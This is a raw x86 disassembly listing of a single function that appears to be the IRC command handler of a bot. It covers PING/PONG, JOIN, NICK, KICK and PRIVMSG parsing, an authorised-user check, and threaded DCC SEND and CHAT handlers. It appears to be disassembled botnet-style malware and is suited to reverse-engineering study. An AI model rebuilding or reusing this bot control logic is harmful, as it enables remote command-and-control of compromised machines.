var_1D54 = dword ptr -1D54h
var_1D4C = byte ptr -1D4Ch
var_1D38 = byte ptr -1D38h
var_1C34 = byte ptr -1C34h
var_1BB0 = dword ptr -1BB0h
var_1BAC = dword ptr -1BACh
var_1BA8 = dword ptr -1BA8h
var_1BA4 = dword ptr -1BA4h
var_1BA0 = dword ptr -1BA0h
var_1B98 = byte ptr -1B98h
var_1B84 = byte ptr -1B84h
var_1A80 = byte ptr -1A80h
var_1A00 = dword ptr -1A00h
var_19FC = dword ptr -19FCh
var_19F8 = dword ptr -19F8h
var_19F4 = dword ptr -19F4h
var_19F0 = dword ptr -19F0h
var_19EC = dword ptr -19ECh
var_19E8 = byte ptr -19E8h
var_1968 = byte ptr -1968h
var_1928 = byte ptr -1928h
var_1828 = dword ptr -1828h
var_1824 = dword ptr -1824h
var_1818 = dword ptr -1818h
var_1814 = dword ptr -1814h
var_1810 = dword ptr -1810h
var_180C = byte ptr -180Ch
var_17D4 = byte ptr -17D4h
var_17B8 = byte ptr -17B8h
var_1780 = byte ptr -1780h
var_177C = byte ptr -177Ch
var_16FC = byte ptr -16FCh
var_16BC = byte ptr -16BCh
var_162C = dword ptr -162Ch
var_1628 = dword ptr -1628h
var_1624 = dword ptr -1624h
var_1620 = dword ptr -1620h
var_161C = dword ptr -161Ch
var_1618 = byte ptr -1618h
var_1598 = byte ptr -1598h
var_1518 = dword ptr -1518h
var_1514 = dword ptr -1514h
var_1510 = dword ptr -1510h
var_150C = dword ptr -150Ch
var_1508 = byte ptr -1508h
var_14F8 = byte ptr -14F8h
var_1478 = byte ptr -1478h
var_13F8 = dword ptr -13F8h
var_13F0 = dword ptr -13F0h
var_13EC = dword ptr -13ECh
var_13E8 = dword ptr -13E8h
var_13E4 = dword ptr -13E4h
var_13E0 = dword ptr -13E0h
var_13DC = dword ptr -13DCh
var_13D8 = byte ptr -13D8h
var_1358 = byte ptr -1358h
var_12D8 = byte ptr -12D8h
var_1258 = dword ptr -1258h
var_1254 = dword ptr -1254h
var_1250 = dword ptr -1250h
var_124C = dword ptr -124Ch
var_1248 = dword ptr -1248h
var_1244 = dword ptr -1244h
var_1240 = dword ptr -1240h
var_123C = dword ptr -123Ch
var_1234 = byte ptr -1234h
var_11B4 = byte ptr -11B4h
var_1134 = dword ptr -1134h
var_1130 = dword ptr -1130h
var_112C = dword ptr -112Ch
var_1124 = dword ptr -1124h
var_1120 = dword ptr -1120h
var_111C = dword ptr -111Ch
var_1114 = dword ptr -1114h
var_1110 = byte ptr -1110h
var_1090 = byte ptr -1090h
var_1010 = dword ptr -1010h
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1000 = dword ptr -1000h
var_FFC = dword ptr -0FFCh
var_FF8 = dword ptr -0FF8h
var_FF4 = dword ptr -0FF4h
var_FF0 = dword ptr -0FF0h
var_FEC = byte ptr -0FECh
var_F6C = dword ptr -0F6Ch
var_F68 = dword ptr -0F68h
var_F64 = dword ptr -0F64h
var_F60 = dword ptr -0F60h
var_F5C = dword ptr -0F5Ch
var_F58 = byte ptr -0F58h
var_ED8 = dword ptr -0ED8h
var_ED4 = dword ptr -0ED4h
var_ED0 = dword ptr -0ED0h
var_ECC = dword ptr -0ECCh
var_EC8 = dword ptr -0EC8h
var_EC4 = byte ptr -0EC4h
var_E44 = dword ptr -0E44h
var_E40 = dword ptr -0E40h
var_E3C = dword ptr -0E3Ch
var_E38 = dword ptr -0E38h
var_E34 = byte ptr -0E34h
var_E24 = byte ptr -0E24h
var_E04 = byte ptr -0E04h
var_D84 = dword ptr -0D84h
var_D80 = byte ptr -0D80h
var_D00 = byte ptr -0D00h
var_C80 = dword ptr -0C80h
var_C7C = dword ptr -0C7Ch
var_C78 = dword ptr -0C78h
var_C74 = dword ptr -0C74h
var_C70 = dword ptr -0C70h
var_C6C = dword ptr -0C6Ch
var_C68 = dword ptr -0C68h
var_C64 = dword ptr -0C64h
var_C60 = dword ptr -0C60h
var_C5C = byte ptr -0C5Ch
var_BDC = dword ptr -0BDCh
var_BD8 = dword ptr -0BD8h
var_BD4 = dword ptr -0BD4h
var_BD0 = dword ptr -0BD0h
var_BCC = dword ptr -0BCCh
var_BC8 = dword ptr -0BC8h
var_BC4 = byte ptr -0BC4h
var_B44 = dword ptr -0B44h
var_B40 = dword ptr -0B40h
var_B3C = dword ptr -0B3Ch
var_B38 = dword ptr -0B38h
var_B34 = dword ptr -0B34h
var_B30 = dword ptr -0B30h
var_B2C = byte ptr -0B2Ch
var_AAC = dword ptr -0AACh
var_AA8 = dword ptr -0AA8h
var_AA4 = dword ptr -0AA4h
var_AA0 = dword ptr -0AA0h
var_A9C = dword ptr -0A9Ch
var_A98 = dword ptr -0A98h
var_A94 = dword ptr -0A94h
var_A90 = byte ptr -0A90h
var_A10 = dword ptr -0A10h
var_A0C = dword ptr -0A0Ch
var_A08 = dword ptr -0A08h
var_A04 = dword ptr -0A04h
var_A00 = dword ptr -0A00h
var_9FC = byte ptr -9FCh
var_97C = word ptr -97Ch
var_978 = dword ptr -978h
var_970 = dword ptr -970h
var_96C = dword ptr -96Ch
var_968 = dword ptr -968h
var_960 = byte ptr -960h
var_8FF = byte ptr -8FFh
var_8FE = byte ptr -8FEh
var_8FC = byte ptr -8FCh
var_8FB = byte ptr -8FBh
var_8F2 = byte ptr -8F2h
var_8F0 = byte ptr -8F0h
var_8EE = byte ptr -8EEh
var_8ED = byte ptr -8EDh
var_860 = byte ptr -860h
var_850 = byte ptr -850h
var_7D0 = byte ptr -7D0h
var_750 = dword ptr -750h
var_74C = dword ptr -74Ch
var_748 = dword ptr -748h
var_744 = dword ptr -744h
var_740 = dword ptr -740h
var_734 = dword ptr -734h
var_730 = dword ptr -730h
var_728 = dword ptr -728h
var_724 = dword ptr -724h
var_720 = dword ptr -720h
var_71C = dword ptr -71Ch
var_714 = dword ptr -714h
var_710 = byte ptr -710h
var_690 = dword ptr -690h
var_688 = dword ptr -688h
var_684 = dword ptr -684h
var_680 = dword ptr -680h
var_678 = dword ptr -678h
var_674 = dword ptr -674h
var_670 = dword ptr -670h
var_668 = dword ptr -668h
var_63C = dword ptr -63Ch
var_638 = word ptr -638h
var_624 = dword ptr -624h
var_620 = byte ptr -620h
var_5A0 = byte ptr -5A0h
var_590 = dword ptr -590h
var_58C = dword ptr -58Ch
var_584 = dword ptr -584h
var_580 = dword ptr -580h
var_57C = dword ptr -57Ch
var_574 = dword ptr -574h
var_570 = byte ptr -570h
var_4F0 = dword ptr -4F0h
var_4EC = dword ptr -4ECh
var_4E8 = dword ptr -4E8h
var_4E4 = dword ptr -4E4h
var_4E0 = dword ptr -4E0h
var_4D8 = dword ptr -4D8h
var_4D4 = dword ptr -4D4h
var_4D0 = dword ptr -4D0h
var_4C8 = byte ptr -4C8h
var_4BC = byte ptr -4BCh
var_484 = byte ptr -484h
var_474 = byte ptr -474h
var_3F4 = byte ptr -3F4h
var_374 = dword ptr -374h
var_370 = dword ptr -370h
var_36C = dword ptr -36Ch
var_368 = dword ptr -368h
var_364 = dword ptr -364h
var_358 = dword ptr -358h
var_354 = dword ptr -354h
var_34C = dword ptr -34Ch
var_348 = dword ptr -348h
var_344 = dword ptr -344h
var_340 = dword ptr -340h
var_338 = byte ptr -338h
var_31C = word ptr -31Ch
var_31A = word ptr -31Ah
var_318 = dword ptr -318h
var_30C = byte ptr -30Ch
var_308 = dword ptr -308h
var_2FC = byte ptr -2FCh
var_2F8 = byte ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2E8 = byte ptr -2E8h
var_2E4 = byte ptr -2E4h
var_2E3 = byte ptr -2E3h
var_2E2 = byte ptr -2E2h
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_2CC = dword ptr -2CCh
var_2C8 = dword ptr -2C8h
var_2C4 = byte ptr -2C4h
var_C4 = byte ptr -0C4h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_93 = byte ptr -93h
var_92 = byte ptr -92h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_50 = byte ptr -50h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 568Ch
call sub_41C500
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp+var_2C4]
push ebx
push eax
mov [ebp+var_AC], 3
mov [ebp+var_10], ebx
mov [ebp+var_A4], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_2C8], ebx
call sub_41BF70
push 1Bh
lea eax, [ebp+var_338]
push [ebp+arg_10]
push eax
call sub_41BFD0
add esp, 18h
cmp [ebp+arg_0], ebx
jz loc_401F75
push esi
lea eax, [ebp+var_428C]
push ebx
push eax
call sub_41BF70
dec esi
lea eax, [ebp+var_428C]
push esi
push [ebp+arg_0]
push eax
call sub_41BFD0
lea eax, [ebp+var_428C]
push offset asc_42CDCC ; " :"
push eax
call sub_41C2E0
mov [ebp+var_C], eax
lea eax, [ebp+var_428C]
push esi
push eax
lea eax, [ebp+var_4EF8]
push eax
call sub_41BFD0
mov esi, offset asc_42CDC8 ; " "
lea eax, [ebp+var_4EF8]
push esi
push eax
call sub_41CAD4
add esp, 34h
mov [ebp+var_90], eax
lea edi, [ebp+var_8C]
mov [ebp+var_A8], 1Fh
loc_401BA0: ; CODE XREF: sub_401ACD+E7j
push esi
push ebx
call sub_41CAD4
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+var_A8]
pop ecx
jnz short loc_401BA0
mov esi, [ebp+var_90]
cmp esi, ebx
jz loc_401F75
cmp [ebp+var_8C], ebx
jz loc_401F75
push 100h
lea eax, [ebp+var_960]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea ecx, [ebp+var_14]
push 1Fh
pop edx
push 1
pop edi
loc_401BEE: ; CODE XREF: sub_401ACD+153j
mov eax, [ecx]
cmp eax, ebx
jz short loc_401C1A
cmp byte ptr [eax], 2Dh
jnz short loc_401C22
cmp [eax+2], bl
jnz short loc_401C22
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_960], 1
mov esi, [ebp+var_90]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_401C1A: ; CODE XREF: sub_401ACD+125j
dec edx
sub ecx, 4
cmp edx, ebx
jge short loc_401BEE
loc_401C22: ; CODE XREF: sub_401ACD+12Aj
; sub_401ACD+12Fj
cmp [ebp+var_8ED], bl
jz short loc_401C2D
mov [ebp+var_8], edi
loc_401C2D: ; CODE XREF: sub_401ACD+15Bj
cmp [ebp+var_8F2], bl
jz short loc_401C3B
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_401C3B: ; CODE XREF: sub_401ACD+166j
cmp byte ptr [esi], 0Ah
jz short loc_401C75
push 7Fh
lea eax, [ebp+var_E04]
push esi
push eax
call sub_41BFD0
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp+var_C4]
push eax
call sub_41BFD0
lea eax, [ebp+var_C4]
push offset asc_42CDC4 ; "!"
push eax
call sub_41CAD4
add esp, 20h
loc_401C75: ; CODE XREF: sub_401ACD+171j
push esi
push offset aPing ; "PING"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401CC6
push [ebp+var_8C]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4]
call sub_409823
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_401D6A
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 10h
jmp loc_401D6A
; ---------------------------------------------------------------------------
loc_401CC6: ; CODE XREF: sub_401ACD+1B7j
mov esi, [ebp+var_8C]
push esi
push offset a001 ; "001"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4097D7
push esi
push offset a005 ; "005"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4097D7
push esi
push offset a302 ; "302"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401D2E
push offset a@ ; "@"
push [ebp+var_84]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_401D6A
inc eax
push 9Fh
push eax
push [ebp+arg_1C]
call sub_41BFD0
jmp short loc_401D67
; ---------------------------------------------------------------------------
loc_401D2E: ; CODE XREF: sub_401ACD+238j
push esi
push offset a433 ; "433"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401D71
push ebx
push dword_4290A0
push dword_42909C
push [ebp+arg_10]
call sub_40AE84
add esp, 10h
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409823
loc_401D67: ; CODE XREF: sub_401ACD+25Fj
add esp, 0Ch
loc_401D6A: ; CODE XREF: sub_401ACD+1D8j
; sub_401ACD+1F4j ...
mov eax, edi
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_401D71: ; CODE XREF: sub_401ACD+270j
mov esi, [ebp+arg_18]
mov [ebp+var_A8], 3
mov edi, 80h
loc_401D83: ; CODE XREF: sub_401ACD+2DBj
lea eax, [ebp+var_E04]
push eax
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401DA0
mov [ebp+var_A4], 1
loc_401DA0: ; CODE XREF: sub_401ACD+2C7j
add esi, edi
dec [ebp+var_A8]
jnz short loc_401D83
mov esi, [ebp+var_8C]
push esi
push offset aKick ; "KICK"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_401E9A
mov esi, [ebp+arg_18]
mov [ebp+arg_24], 3
loc_401DCF: ; CODE XREF: sub_401ACD+392j
cmp [esi], bl
jz loc_401E5A
push 7Fh
lea eax, [ebp+var_E04]
push esi
push eax
call sub_41BFD0
lea eax, [ebp+var_C4]
add esp, 0Ch
test eax, eax
jz short loc_401E5A
cmp [ebp+var_84], ebx
jz short loc_401E5A
push [ebp+var_84]
lea eax, [ebp+var_C4]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401E5A
lea eax, [ebp+var_C4]
mov [esi], bl
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CD58
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4]
call sub_409823
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
add esp, 14h
loc_401E5A: ; CODE XREF: sub_401ACD+304j
; sub_401ACD+324j ...
add esi, edi
dec [ebp+arg_24]
jnz loc_401DCF
push [ebp+var_84]
push [ebp+arg_10]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_401F75
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8]
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_401E8D: ; CODE XREF: sub_401ACD+5F6j
; sub_401ACD+8B9j ...
push [ebp+arg_4]
call sub_409823
jmp loc_404260
; ---------------------------------------------------------------------------
loc_401E9A: ; CODE XREF: sub_401ACD+2F2j
push esi
push offset aNick ; "NICK"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_401FDD
mov eax, [ebp+var_88]
mov esi, [ebp+arg_18]
inc eax
mov [ebp+arg_0], 3
mov [ebp+arg_24], eax
loc_401EC3: ; CODE XREF: sub_401ACD+448j
lea eax, [ebp+var_E04]
push eax
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401F10
lea eax, [ebp+var_E04]
push 21h
push eax
call sub_41C990
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_401F10
push [ebp+arg_24]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_41C890
push [ebp+arg_1C]
push edi
call sub_41C8A0
add esp, 10h
mov edi, 80h
loc_401F10: ; CODE XREF: sub_401ACD+407j
; sub_401ACD+41Ej
add esi, edi
dec [ebp+arg_0]
jnz short loc_401EC3
lea eax, [ebp+var_C4]
test eax, eax
jz short loc_401F75
cmp [ebp+arg_24], ebx
jz short loc_401F75
push [ebp+arg_10]
lea eax, [ebp+var_C4]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401F4D
push 0Fh
push [ebp+arg_24]
push [ebp+arg_10]
call sub_41BFD0
jmp loc_4036A2
; ---------------------------------------------------------------------------
loc_401F4D: ; CODE XREF: sub_401ACD+46Cj
mov edi, [ebp+arg_18]
xor esi, esi
loc_401F52: ; CODE XREF: sub_401ACD+4A6j
cmp [edi], bl
jz short loc_401F69
lea eax, [ebp+var_E04]
push eax
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_401F7D
loc_401F69: ; CODE XREF: sub_401ACD+487j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_401F52
loc_401F75: ; CODE XREF: sub_401ACD+5Bj
; sub_401ACD+F1j ...
push 1
loc_401F77: ; CODE XREF: sub_401ACD+2A1Ej
pop eax
loc_401F78: ; CODE XREF: sub_401ACD+29Fj
; sub_401ACD+2A40j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401F7D: ; CODE XREF: sub_401ACD+49Aj
lea eax, [ebp+var_E04]
push 21h
push eax
call sub_41C990
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jz short loc_401F75
push eax
call sub_41B9C0
push [ebp+arg_24]
mov edi, eax
call sub_41B9C0
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja short loc_401F75
push [ebp+arg_0]
shl esi, 7
push [ebp+arg_24]
add esi, [ebp+arg_18]
push offset aSS ; ":%s%s"
push esi
call sub_41C266
push ebx
lea eax, [ebp+var_45F0]
push ebx
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_409869
add esp, 24h
jmp short loc_401F75
; ---------------------------------------------------------------------------
loc_401FDD: ; CODE XREF: sub_401ACD+3DCj
push esi
push offset aPart ; "PART"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_401FFF
push esi
push offset aQuit ; "QUIT"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402026
loc_401FFF: ; CODE XREF: sub_401ACD+51Fj
mov edi, [ebp+arg_18]
xor esi, esi
loc_402004: ; CODE XREF: sub_401ACD+557j
cmp [edi], bl
jz short loc_40201A
push [ebp+var_90]
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_402067
loc_40201A: ; CODE XREF: sub_401ACD+539j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_402004
loc_402026: ; CODE XREF: sub_401ACD+530j
push [ebp+var_8C]
push offset a353 ; "353"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4020C8
push [ebp+var_80]
push [ebp+arg_8]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40205A
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_40205A: ; CODE XREF: sub_401ACD+582j
push [ebp+var_80]
push offset unk_42CD04
jmp loc_4097CB
; ---------------------------------------------------------------------------
loc_402067: ; CODE XREF: sub_401ACD+54Bj
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CCE4
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
push [ebp+var_8C]
push offset aPart ; "PART"
call sub_41CA50
add esp, 18h
test eax, eax
jnz loc_401F75
lea eax, [ebp+var_2C4]
push eax
mov eax, [ebp+var_90]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_401E8D
; ---------------------------------------------------------------------------
loc_4020C8: ; CODE XREF: sub_401ACD+56Dj
push [ebp+var_8C]
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi
call sub_41CA50
pop ecx
mov edi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_40211C
push [ebp+var_8C]
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_40211C
push [ebp+var_8C]
push offset dword_42CCD0
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_409644
cmp dword_429088, ebx
jz loc_409644
loc_40211C: ; CODE XREF: sub_401ACD+615j
; sub_401ACD+627j
push [ebp+var_8C]
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4022A2
push [ebp+var_8C]
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4022A2
mov eax, [ebp+var_84]
inc [ebp+var_80]
push 4
mov [ebp+var_88], eax
pop esi
mov [ebp+var_AC], esi
loc_402160: ; CODE XREF: sub_401ACD+891j
; sub_401ACD+8CDj ...
shl esi, 2
mov eax, [ebp+esi+var_90]
lea edi, [ebp+esi+var_90]
push eax
push offset dword_42CCC8
mov [ebp+arg_8], eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_40253B
push [ebp+esi+var_8C]
push offset aSend_0 ; "SEND"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_402402
cmp [ebp+var_A4], ebx
jz loc_4023DB
push [ebp+esi+var_88]
mov edi, offset aS_2 ; "%s"
lea eax, [ebp+var_1B84]
push edi
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_1B98]
push [ebp+esi+var_84]
push edi
push eax
call sub_41C266
push [ebp+esi+var_80]
call sub_41C159
mov [ebp+var_1A00], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1BA0], eax
lea eax, [ebp+var_C4]
push 7Fh
push eax
lea eax, [ebp+var_1A80]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_19F8], eax
mov eax, [ebp+var_8]
mov [ebp+var_19F4], eax
lea eax, [ebp+var_1A80]
push eax
lea eax, [ebp+var_1B84]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CC8C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 1Ah
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_19FC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1BA0]
push ebx
push eax
push offset sub_416563
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_19FC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz loc_4023CA
loc_40228C: ; CODE XREF: sub_401ACD+7D3j
cmp [ebp+var_19F0], ebx
jnz loc_4082DE
push 32h
call dword_427080 ; Sleep
jmp short loc_40228C
; ---------------------------------------------------------------------------
loc_4022A2: ; CODE XREF: sub_401ACD+65Fj
; sub_401ACD+675j
push [ebp+var_8C]
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4022BB
mov [ebp+var_4], 1
loc_4022BB: ; CODE XREF: sub_401ACD+7E5j
cmp [ebp+var_88], ebx
jz loc_401F75
push offset dword_42CC88
push [ebp+var_88]
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_4022E2
cmp [ebp+var_4], ebx
jz short loc_4022EE
loc_4022E2: ; CODE XREF: sub_401ACD+80Ej
lea eax, [ebp+var_C4]
mov [ebp+var_88], eax
loc_4022EE: ; CODE XREF: sub_401ACD+813j
cmp [ebp+var_84], ebx
jz loc_401F75
inc [ebp+var_84]
jz short loc_40233A
cmp [ebp+arg_10], ebx
jz short loc_40233A
lea eax, [ebp+var_338]
push eax
call sub_41B9C0
push eax
lea eax, [ebp+var_338]
push [ebp+var_84]
push eax
call sub_41C850
mov esi, eax
add esp, 10h
neg esi
sbb esi, esi
add esi, 4
mov [ebp+var_AC], esi
jmp short loc_402340
; ---------------------------------------------------------------------------
loc_40233A: ; CODE XREF: sub_401ACD+833j
; sub_401ACD+838j
mov esi, [ebp+var_AC]
loc_402340: ; CODE XREF: sub_401ACD+86Bj
mov edi, [ebp+esi*4+var_90]
cmp edi, ebx
jz loc_401F75
push edi
push offset dword_42CC7C
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_402160
mov ecx, [ebp+var_88]
cmp byte ptr [ecx], 23h
jz short loc_40238B
mov eax, dword_4CB898
mov eax, off_429168[eax*4]
cmp [eax], bl
jz short loc_40238B
push eax
push ecx
push offset dword_42CC60
jmp loc_401E8D
; ---------------------------------------------------------------------------
loc_40238B: ; CODE XREF: sub_401ACD+8A0j
; sub_401ACD+8B0j
push edi
push offset dword_42CC58
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_402160
mov eax, [ebp+esi*4+var_8C]
cmp eax, ebx
jz loc_402160
mov ecx, [ebp+var_88]
cmp byte ptr [ecx], 23h
jz loc_402160
push eax
push ecx
push offset dword_42CC40
jmp loc_401E8D
; ---------------------------------------------------------------------------
loc_4023CA: ; CODE XREF: sub_401ACD+7B9j
; sub_401ACD+76B7j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42CC04
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_4023DB: ; CODE XREF: sub_401ACD+6DDj
lea eax, [ebp+var_C4]
push eax
push [ebp+esi+var_88]
push offset unk_42CBC0
loc_4023EE: ; CODE XREF: sub_401ACD+7C19j
; sub_401ACD+7C80j
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 10h
jmp loc_4082DE
; ---------------------------------------------------------------------------
loc_402402: ; CODE XREF: sub_401ACD+6D1j
push [ebp+esi+var_8C]
push offset aChat ; "CHAT"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_402551
cmp [ebp+var_A4], ebx
jz loc_40252A
push 1Bh
call sub_40B602
test eax, eax
pop ecx
jnz loc_402519
push [ebp+esi+var_84]
lea eax, [ebp+var_2AAC]
push offset aS_2 ; "%s"
push eax
call sub_41C266
push [ebp+esi+var_80]
call sub_41C159
mov [ebp+var_2914], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2AB4], eax
lea eax, [ebp+var_C4]
push 7Fh
push eax
lea eax, [ebp+var_2994]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_290C], eax
mov eax, [ebp+var_8]
mov [ebp+var_2908], eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CB98
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 1Bh
push eax
call sub_40B3BA
add esp, 18h
mov [ebp+var_2910], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2AB4]
push ebx
push eax
push offset sub_416000
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_2910]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_402508
loc_4024F2: ; CODE XREF: sub_401ACD+A39j
cmp [ebp+var_2904], ebx
jnz loc_4082DE
push 32h
call dword_427080 ; Sleep
jmp short loc_4024F2
; ---------------------------------------------------------------------------
loc_402508: ; CODE XREF: sub_401ACD+A23j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42CB60
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_402519: ; CODE XREF: sub_401ACD+966j
lea eax, [ebp+var_C4]
push eax
push offset unk_42CB30
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_40252A: ; CODE XREF: sub_401ACD+956j
lea eax, [ebp+var_C4]
push eax
push offset unk_42CAFC
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_40253B: ; CODE XREF: sub_401ACD+6B6j
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov al, [eax]
cmp al, byte_429094
mov [edi], ecx
jnz loc_401F75
loc_402551: ; CODE XREF: sub_401ACD+94Aj
mov edi, [edi]
push edi
push offset aC ; "c"
mov [ebp+arg_8], edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40964C
push edi
push offset aK ; "k"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40964C
cmp [ebp+var_A4], ebx
jnz short loc_4025A2
push [ebp+var_8C]
push offset dword_42CCD0
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_409644
loc_4025A2: ; CODE XREF: sub_401ACD+AB9j
cmp [ebp+arg_28], ebx
jnz loc_409644
xor edi, edi
cmp dword_4294D4, ebx
jle loc_402757
mov [ebp+arg_20], offset dword_43DBA0
loc_4025C0: ; CODE XREF: sub_401ACD+B12j
push [ebp+arg_8]
push [ebp+arg_20]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_4025E6
add [ebp+arg_20], 0B8h
inc edi
cmp edi, dword_4294D4
jl short loc_4025C0
jmp loc_402757
; ---------------------------------------------------------------------------
loc_4025E6: ; CODE XREF: sub_401ACD+B02j
push offset asc_42CDCC ; " :"
push [ebp+arg_0]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz loc_401F75
mov cl, byte_429094
imul edi, 0B8h
mov [eax+2], cl
